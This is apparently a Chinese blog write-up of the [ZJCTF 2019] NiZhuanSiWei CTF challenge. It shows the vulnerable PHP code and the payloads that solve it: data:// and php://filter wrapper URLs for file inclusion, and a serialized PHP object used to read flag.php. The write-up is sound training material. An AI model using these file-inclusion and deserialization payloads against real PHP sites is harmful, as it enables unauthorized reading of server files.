• 练[ZJCTF 2019]NiZhuanSiWei


    [ZJCTF 2019]NiZhuanSiWei


    在这里插入图片描述

    掌握知识

    data伪协议和php伪协议的使用,反序列化,代码审计,文件包含,file_get_contents函数绕过

    解题思路

    1. 打开题目链接,发现是代码审计的题目,简单分析需要经过两个判断,执行文件包含函数,提示是要包含useless.php文件,下面的反序列化的源代码应该就在useless.php文件中了
    ?php  
    $text = $_GET["text"];
    $file = $_GET["file"];
    $password = $_GET["password"];
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
        echo "

    ".file_get_contents($text,'r')."


    "
    ; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; } } else{ highlight_file(__FILE__); } ?>
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    代码分析1
    1. 分析第一个判断,file_get_contents文件包含函数,可以使用php input伪协议和data伪协议绕过,这两个协议都可以随意执行函数或者返回字符串,所以只需要调用这两个伪协议,让其输出内容为后面的字符串即可判断成功,由于版本原因,data伪协议用的更多了,所以这里也用的data协议来返回字符串
    /?text=data://text/plain,welcome to the zjctf
    
    • 1
    if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
    
    • 1
    1. 第二个判断是一个正则匹配,参数中没有flag即可通过判断,执行文件包含操作。正好醉翁之意不在flag文件,在于useless.php文件,直接包含文件没显示内容,需要使用php伪协议进行base64编码读取文件才能回显
    ?file=php://filter/convert.base64-encode/resource=useless.php
    
    • 1
    if(preg_match("/flag/",$file)){
        }
        else{
            include($file);  //useless.php
        }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    image-20231005005254846

    代码分析2
    1. base64解码即可得到useless.php文件的源码,查看了一下发现就是简单的反序列化利用,只需要给file赋值伪php协议读取flag.php文件,即可通过析构函数执行文件包含读取flag.php,拿下flag

    image-20231005005508799

    1. 构建php代码,输出序列化字符串
    O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
    
    • 1
    1. 所有paylaod已经构建完成,经过测试发现file参数传参useless.php才能正常执行后面的反序列化,php伪协议读取不能正常执行,看来包含的文件还得的原样才行,由于类是在useless.php文件内,所以必须包含该文件。传入所有的参数,将base64解码之后,拿下flag

    image-20231005005943207

    image-20231005005949698

    关键paylaod

    /?text=data://text/plain,welcome to the zjctf&file=php://filter/convert.base64-encode/resource=useless.php
    
    O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
    
    /?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}
    
    • 1
    • 2
    • 3
    • 4
    • 5
  • 相关阅读:
    linux(14)之audit子系统
    Android11 桌面默认横屏导致任务键近期任务布局UI显示错误!
    [附源码]JAVA毕业设计会议室租赁管理系统(系统+LW)
    HarmonyOS/OpenHarmony原生应用开发-华为Serverless服务支持情况(四)
    Spring Initializr私服搭建和定制化模板
    NFT Insider#110:The Sandbox与T&B Media Global合作,YGG Web3游戏峰会阵容揭晓
    【深度学习】第四章:循环神经网络
    卡方分布的期望值和方差
    使用JXLS+Excel模板制作灵活的excel导出
    基于Springboot外卖系统11:菜品新增类别+类别信息分页查询
  • 原文地址:https://blog.csdn.net/m0_66225311/article/details/133617079